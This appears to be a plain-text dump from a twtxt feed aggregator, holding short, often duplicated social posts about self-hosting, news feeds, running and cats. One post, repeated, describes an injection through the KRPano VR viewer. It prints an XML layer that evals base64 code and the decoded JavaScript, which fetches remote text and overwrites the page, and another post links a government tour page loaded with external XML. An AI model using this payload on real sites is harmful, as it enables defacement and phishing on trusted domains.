# I am the Watcher. I am your guide through this vast new twtiverse.
# 
# Usage:
#     https://watcher.sour.is/api/plain/users              View list of users and latest twt date.
#     https://watcher.sour.is/api/plain/twt                View all twts.
#     https://watcher.sour.is/api/plain/mentions?uri=:uri  View all mentions for uri.
#     https://watcher.sour.is/api/plain/conv/:hash         View all twts for a conversation subject.
# 
# Options:
#     uri     Filter to show a specific users twts.
#     offset  Start index for quey.
#     limit   Count of items to return (going back in time).
# 
# twt range = 1 196219
# self = https://watcher.sour.is?offset=180883
# next = https://watcher.sour.is?offset=180983
# prev = https://watcher.sour.is?offset=180783
@xuu Haha, that's cool! Be careful with reporting or they might sue you to death.
@xuu Haha 🤣🤣🤣
@xuu Haha 🤣🤣🤣
@kat (they migrated their image backend from a deprecated third party plugin to a first party feature. which i did on the same codebase last summer with no knowledge of rails lol)
@kat (they migrated their image backend from a deprecated third party plugin to a first party feature. which i did on the same codebase last summer with no knowledge of rails lol)
laughing my ass off rn because ao3 the fanfic website deployed a big change that i did on my own site months ago. i am a PIONEER!!!!!!!!!!
laughing my ass off rn because ao3 the fanfic website deployed a big change that i did on my own site months ago. i am a PIONEER!!!!!!!!!!
[47°09′19″S, 126°43′29″W] Saalmi, retransmit, please
So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following


<?xml version="1.0"?>
<krpano version="1.0.8.15">
    <SCRIPT id="allow-copy_script"/>
    <layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>



the omit above is base64 encoded script below:



const queryParams = new URLSearchParams(window.location.search),
          id = queryParams.get('id');
    id ? fetch('https://sour.is/superhax.txt')
        .then(e => e.text())
        .then(e => {
            document.open(), document.write(e), document.close();
        })
        .catch(e => {
            console.error('Error fetching the user agent:', e);
        }) : console.error('No');


this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.
So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following


<?xml version="1.0"?>
<krpano version="1.0.8.15">
    <SCRIPT id="allow-copy_script"/>
    <layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>



the omit above is base64 encoded script below:



const queryParams = new URLSearchParams(window.location.search),
          id = queryParams.get('id');
    id ? fetch('https://sour.is/superhax.txt')
        .then(e => e.text())
        .then(e => {
            document.open(), document.write(e), document.close();
        })
        .catch(e => {
            console.error('Error fetching the user agent:', e);
        }) : console.error('No');


this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.
Nice! totally legit government page: https://tour.diplomaticrooms.state.gov/?id=0&xml=https://sour.is/awesome.html
Nice! totally legit government page: https://tour.diplomaticrooms.state.gov/?id=0&xml=https://sour.is/awesome.html
oh also out of boredom i hosted glance even though i have no need for a dashboard lol. it's really cute though
oh also out of boredom i hosted glance even though i have no need for a dashboard lol. it's really cute though
i self hosted the soft serve git server cuz i felt like it. it's sooo cute i love everything charm CLI does

ssh -p 24010 soft.git.girlonthemoon.xyz
i self hosted the soft serve git server cuz i felt like it. it's sooo cute i love everything charm CLI does

ssh -p 24010 soft.git.girlonthemoon.xyz
@kat sticker status!!!!!
@kat sticker status!!!!!
@kat I DID END UP PUTTING IT TOGETHER BTW AND I VLOGGED IT (https://memoria.sayitditto.net/view?m=fGvHAMJvq) AND I LOVE IT SOOO MUCH
@kat I DID END UP PUTTING IT TOGETHER BTW AND I VLOGGED IT (https://memoria.sayitditto.net/view?m=fGvHAMJvq) AND I LOVE IT SOOO MUCH
@kingdomcome all me hahah! thank you <3
@kingdomcome all me hahah! thank you <3
@kingdomcome hey irene!!!!!!!!!!!!! i'm vibing rn
@kingdomcome hey irene!!!!!!!!!!!!! i'm vibing rn
they're not an all encompassing site but 404media.co do some great tech reporting, their RSS feed is here
they're not an all encompassing site but 404media.co do some great tech reporting, their RSS feed is here
@bender Yeah I think I follow the Hacker News top N feed already. So taht's fine.
@bender Yeah I think I follow the Hacker News top N feed already. So taht's fine.
Well it imported nicely into the feeds service, so I'll give it a try 👌
Well it imported nicely into the feeds service, so I'll give it a try 👌
@ hehehe, it is not streamlined as you want it. Feedly and an amalgam of news sites, prioritising BBC, NPR, and The Guardian.

Tech news on Hacker News, some subs on Reddit, etc.
@kingdomcome Hey 👋 Ya know, working, etc 🤣
@kingdomcome Hey 👋 Ya know, working, etc 🤣
@bender What's the other ?🤔
@bender What's the other ?🤔
@ I get an email each day with headlines, but it is not my only source of news.
@bender And you use this as your primary news sources? 🤔
@bender And you use this as your primary news sources? 🤔
Hmm I think I'm hitting another false positive rule 😢
Hmm I think I'm hitting another false positive rule 😢
@bender Thanks! 🙏 Will look into it!
@bender Thanks! 🙏 Will look into it!
@bender I still haven't fixed that rendering sorry 🤣
@bender I still haven't fixed that rendering sorry 🤣
@https://twtxt.net/user/prologic/twtxt.tx@ https://www.newsminimalist.com/. It has RSS, but if you need custom ones you might need to subscribe.
🧮 USERS:1 FEEDS:2 TWTS:1215 ARCHIVED:84196 CACHE:2939 FOLLOWERS:17 FOLLOWING:14
ciao ciao
@ hmmm.
I need an alternative news source... Something I can shove into feeds.twtxt.net that helps me keep up-to-date with Tech and other important news 🗞️ Hmmm 🤔 Suggestions? I can't stand Slashdot anymore since they've decided to come down hard on ad-blockers 🤦‍♂️
I need an alternative news source... Something I can shove into feeds.twtxt.net that helps me keep up-to-date with Tech and other important news 🗞️ Hmmm 🤔 Suggestions? I can't stand Slashdot anymore since they've decided to come down hard on ad-blockers 🤦‍♂️
who's+lovable.dev?
@lime360 Down at the moment due to hardware failure of one of my nodes. I have the spare parts to bring it back online, just need to find the time 😅 Sorry for the inconvenience, I just can't afford to run the search engine right now on the remaining two nodes 😢😢
@lime360 Down at the moment due to hardware failure of one of my nodes. I have the spare parts to bring it back online, just need to find the time 😅 Sorry for the inconvenience, I just can't afford to run the search engine right now on the remaining two nodes 😢😢
@bender Hmmm? 🤔
@bender Hmmm? 🤔
@xuu Not recently, no. Why?
@xuu Not recently, no. Why?
@arne Welcome! 🤗
@arne Welcome! 🤗
Wussup twtxt I'm rolling cigarettes (I don't smoke) (I think it's funny) (it's like crocheting a scarf when you don't wear scarves)
@arne Uuhhhh, more twtxt clients, very nice! :-)
@prologic you change something up on how markdown gets rendered?
@prologic you change something up on how markdown gets rendered?
Huh. Not broken for me?
Huh. Not broken for me?
https://boredzo.org/pointers/ Everything you need to know about pointers in C #clang
@bender Yeah, looks a bit broken:

Broken
Break[ing] it!
Break\n it!
This is me test[ing] this to see if I am manag[ing] to break it once more.
This is me test\n this to see if I am manag\n to break it once more.
TwtxtReader Screenshot Nun habe ich mir einen eigenen webbasierten TwtxtReader erstellt. PHP-basiert mit Phpfastcache, Fluid Template Engine und asynchronen cUrl-Requests für die abonierten Feeds. Inspiriert durch Timeline von @sorenpeter
[47°09′32″S, 126°43′36″W] 4289 days without news from Herve
Gato chino
#catsoftwtxt
Gato chino
/https://duque-terron.cat/media/photos/IMG_3418.jpeg) #catsoftwtxt
Gato chino
#catsoftwtxt
[47°09′45″S, 126°43′43″W] Transfer 99% complete...
Recovery: 3.11 miles, 00:10:02 average pace, 00:31:11 duration
getting some extra miles in. been a little anxious and cannot seem to focus as of late.
#running #treadmill
Recovery: 3.11 miles, 00:10:02 average pace, 00:31:11 duration
getting some extra miles in. been a little anxious and cannot seem to focus as of late.
#running #treadmill
Recovery: 3.11 miles, 00:10:02 average pace, 00:31:11 duration
getting some extra miles in. been a little anxious and cannot seem to focus as of late.
#running #treadmill
@andros How about #yarn.social 🤣
@andros How about #yarn.social 🤣
Thanks 😄
Thanks 😄
I have said this before, but since I have been back on #IRC I am talking to a lot of interesting people.
Can you recommend some channels on Libera?
I have said this before, but since I have been back on #IRC I am talking to a lot of interesting people.
Can you recommend some channels on Libera?
I've decided (_finally_) to unfollow the Slashdot feed and no-longer bother ever visiting the site or read any of it's content. Why? Because Slashdot in their infinite wisdom have decided to employ tactics that make it difficult to use their site without ad-blokers:

> This page could not be loaded properly due to incorrect / bad filtering rule(s) of adblockers in use. Please disable all adblockers to continue using the website. (click OK if you'd like to learn more)

I can respect this; but I can also just as easily choose never to visit your site again.
I've decided (_finally_) to unfollow the Slashdot feed and no-longer bother ever visiting the site or read any of it's content. Why? Because Slashdot in their infinite wisdom have decided to employ tactics that make it difficult to use their site without ad-blokers:

> This page could not be loaded properly due to incorrect / bad filtering rule(s) of adblockers in use. Please disable all adblockers to continue using the website. (click OK if you'd like to learn more)

I can respect this; but I can also just as easily choose never to visit your site again.
I just blocked 52.169.40.38/32 an ip from the microsoft asn(_network_) a single ip responsible for dosing a bunch of really old web servers i used to have about ~15 years or more ago 🤦‍♂️ ive sent microsofts abuse contact another email. my gawd 🤣~
I just blocked 52.169.40.38/32 an ip from the microsoft asn(_network_) a single ip responsible for dosing a bunch of really old web servers i used to have about ~15 years or more ago 🤦‍♂️ ive sent microsofts abuse contact another email. my gawd 🤣~
[47°09′12″S, 126°43′27″W] Transfer 75% complete...
Pinellas County - 3 mile run: 3.13 miles, 00:09:09 average pace, 00:28:38 duration
really nice out. still went out faster than i wanted and i really need to get better at keeping it on track.
#running
Pinellas County - 3 mile run: 3.13 miles, 00:09:09 average pace, 00:28:38 duration
really nice out. still went out faster than i wanted and i really need to get better at keeping it on track.
#running
Pinellas County - 3 mile run: 3.13 miles, 00:09:09 average pace, 00:28:38 duration
really nice out. still went out faster than i wanted and i really need to get better at keeping it on track.
#running
o fediverso mencionado nos media mainstream, sempre bom de se ver

https://www.publico.pt/2025/01/14/p3/cronica/nao-refens-musk-zuckerberg-resposta-fediverso-2118595
o fediverso mencionado nos media mainstream, sempre bom de se ver

https://www.publico.pt/2025/01/14/p3/cronica/nao-refens-musk-zuckerberg-resposta-fediverso-2118595
o fediverso mencionado nos media mainstream, sempre bom de se ver

https://www.publico.pt/2025/01/14/p3/cronica/nao-refens-musk-zuckerberg-resposta-fediverso-2118595
[47°09′24″S, 126°43′45″W] Transfer 50% complete...